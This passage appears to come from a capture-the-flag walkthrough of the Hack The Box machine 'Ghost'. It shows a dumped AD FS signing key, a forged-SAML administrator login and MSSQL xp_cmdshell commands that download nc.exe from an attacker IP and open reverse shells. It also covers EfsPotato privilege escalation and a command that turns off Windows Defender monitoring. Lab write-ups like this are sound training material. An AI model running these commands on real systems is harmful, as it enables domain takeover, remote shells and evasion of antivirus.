JSMeR7pq0RIgZy0sa692+XtIcHYUcpaPl9hwRjE/5dpRtyt3w9fXR4dtf+rf+O2NI7h0l1xdmcShiRxHfp+9AZTz0H0aguK9aCZY7Sc9WR0X4nv0vSQB7fzFTNG+hOr0PcOh+KIETfiR9KUerB1zbpW+XEUcG9wCyb8OMc4ndpo1WbzLAn7WNDTY9UcHmFJFVmRGbLt2+Pe5fikQxIVLfRCwUikNeKY/3YiOJV3XhA6x6e2zjN3I/Tfo1/eldj0IbE7RP4ptUjyuWkLcnWNHZr8YhLaWTbucDI8R8MXAjZqNCX7WvJ5i+YzJ8S+IQbM8R2DKeFXOTTV3w6gL1rAYUpF9xwe6CCItxrsP3v59mn21bvj3HunOEJI3aAoStJgtO4K+SOeIx+Fa7dLxpTEDecoNsj6hjMdGsrqzuolZX/GBF1SotrYN+W63MYSiZps6bWpc8WkCsIqMiOaGa1eNLvAlupUNGSBlcXNogdKU0R6AFKM60AN2FFd7n4R5TC76ZHIKGmxUcq9EuYdeqamw0TB4fW0YMW4OZqQyx6Z8m3J7hA2uZfB7jYBl2myMeBzqwQYTsEqxqV3QuT2uOwfAi5nknlWUWRvWJl4Ktjzdv3Ni+8O11M+F5gT1/6E9MfchK0GK2tOM6qI8qrroLMNjBHLv4XKAx6rEJsTjPTwaby8IpYjg6jc7DSJxNT+W9F82wYc7b3nBzmuIPk8LUfQb7QQLJjli+nemOc20fIrHZmTlPAh07OhK44/aRELISKPsR2Vjc/0bNiX8rIDjkvrD/KaJ8yDKdoQYHw8G+hU3dZMNpYseefw5KmI9q+SWRZEYJCPmFOS+DyQAiKxMi+hrmaZUsyeHv96cpo2OkAXNiF3T5dpHSXxLqIHJh3JvnFP9y2ZY+w9ahSR6Rlai+SokV5TLTCY7ah9yP/W1IwGuA4kyb0Tx8sdE0S/5p1A63+VwhuANv2NHqI+YDXCKW4QmwYTAeJuMjW/mY8hewBDw+xAbSaY4RklYL85fMByon9AMe55Jaozk8X8IvcW6+m3V/zkKRG7srLX5R7ii3C4epaZPVC5NjNgpBkpT31X7ZZZIyphQIRNNkAve49oaquxVVcrDNyKjmkkm8XSHHn153z/yK3mInTMwr2FJU3W7L/Kkvprl34Tp5fxC7G/KRJV7/GKIlBLU0BlNZbuDm7sYPpRdzhAkna4+c4r8gb2M5Qjasqit7kuPeCRSxkCgmBhrdvg4PCU6QRueIZ795qjWPKeJOs88c7sdADJiRjQSrcUGCAU59wTG0vB4hhO3D87sbdXCEa74/YXiR7mFgc7upx/JpV+KcCEVPdJQAhpfyVJGmWDJZBvVXoNC2XInsJZJf81Oz+qBxbZo+ZzJxeqxgROdxc+q5Qy6c+CC8Kg3ljMQNdzxpk6AVd0/nbhdcPPmyG6tHZVEtNWoLW5SgdSWf/M0tltJ/yRii0hxFBVQwRgFSmsKZIDzk5+OktW7Rq3VgxS4dj97ejfFbnoEbbvKl9STRPw/vuRbQaQF15ZnwlQ0fvtWuWbJUTiwXeWmp1yQMU/qWMV/LtyGRl4eZuROzBjd+ujf8/Q6YSdAMR/o6ziKBHXrzaF8dH9XizNux0kPdCgtcpWfW+aKEeiWiYDxpOzR8Wmcn+Th0hDD9+P5YeZ85p/NkedO7eRMi38lOIBU2nT3oupJMGnnNj1EUd2z8gMcW/+VekgfN+ku5yxi3b9pvUIiCatHgp6RRb70fdNkyUa6ahxM5zS1dL/joGuoIJe26lpgqpYz1vZa15VKuCRU6v62HtqsOnB5sn6IhR16z3H416uFmXc9k4WRZQ0zrZjdFm+WPAHoWAufzAdZP/pdYv1IsrDoXsIAyAgw3rEzcwKs6XA5K9kihMIZXXEvtU2rsNGevNCjFqNMAS9BeNi9r/XjHDXnFZv6OQpfYJUPiUmumE+DYXZ/AP/MPSDrCkLKVPyip7xDevBN/BEsNEUSTXxm
[-] Encrypted Token Signing Key End

[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My

## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
    Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
    SamlResponseSignatureType: 1;
    Identifier: https://core.ghost.htb:8443
    Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
  <RequireFreshAuthentication>false</RequireFreshAuthentication>
  <IssuanceAuthorizationRules>
    <Rule>
      <Conditions>
        <Condition i:type="AlwaysCondition">
          <Operator>IsPresent</Operator>
        </Condition>
      </Conditions>
    </Rule>
  </IssuanceAuthorizationRules>
</PolicyMetadata>


    Access Policy Parameter:

    Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);
python ADFSpoof-rek2.py -b TKSKey.bin DKMkey2.bin -s federation.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat 'urn:oasis:names:tc:SAML:2.0:cm:bearer' --nameid 'ghost.htb\administrator' --rpidentifier 'https://core.ghost.htb:8443' --assertions '<Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>administrator</AttributeValue></Attribute>'

[!DANGER]

  • Ok this should give you a url encoded SAML file that you need to go to mitmproxy or zaproxy, I ended up in this case using zaproxy because I already had it open since I was trying this attack may ways unssuscesfully so wanted to test some SAML plugins from ZAP, but you can do this with mitmproxy.
  • you need to access http://federation.ghost.htb

Doing SAML Attack in Action

  • same step but another screenshot of reply

    Get cookie in the Set-Cookie reply from server

  • ok now we get as administrator to a MSSQL Debug site wher we can send SQL commands

MSSQL Debug Panel

  • now we do the regular methods to switch and run commands as sa

  • lets check what users we can impersonate

SELECT * FROM OPENQUERY([PRiMARY], 'SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE''');
  • we do the classic technique to enable xp_cmdshell etc.
  • notice I added a curl as a debug test for me that now I can run commands.
EXECUTE ( 'EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''show advanced options'',1; reconfigure;EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell ''curl 10.10.xx.xx''' ) AT "PRIMARY"
  • Create test directory
EXECUTE ( 'EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell ''powershell.exe -c mkdir c:/test''' ) AT "PRIMARY"
  • Upload nc.exe to the test directory
EXECUTE ( 'EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell ''powershell.exe -c curl 10.10.xx.xx/nc.exe -o c:/test/nc.exe''' ) AT "PRIMARY"
  • and now we run it to get revshell
EXECUTE ( 'EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell ''c:\test\nc.exe 10.10.xx.xx 6667 -e powershell''' ) AT "PRIMARY"

[!SUCCESS]

  • Now we are logged into the corp.ghost.com domain box
  • we do the normal enumeration
  • After a bit I double check the result of whoami /priv and notice the SeImpersonatePrivilege that allows a process to impersonate another user or process.
  • Lets get the HOT POTATOES! and lets grill that priviledge escalation.
  • This one looks like it will do the job, READ IT EfsPotato
  • I chose this one because in my enumeration I notice we have .Net compiler to our disposal so just get the .cs file and up load it
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
  • ok it compiles!
  • lets test it
./EfsPotato.exe curl http://10.10.xx.xx/test
  • works!! nice.
  • so lets upload nc.exe and get revshell!!
.\EfsPotato.exe 'nc.exe 10.10.xx.xx 6668 -e powershell.exe'

[!IMPORTANT]

  • already as system turn off AV so we can upload a stable shell. I used msfvenom by the revshells.com online tool.
Set-MpPreference -DisableRealtimeMonitoring $True

CROSS FOREST ATTACK corp.ghost.htb -> ghost.htb

Enumeration

  • With the PoweView module imported, we can run:
Get-DomainTrust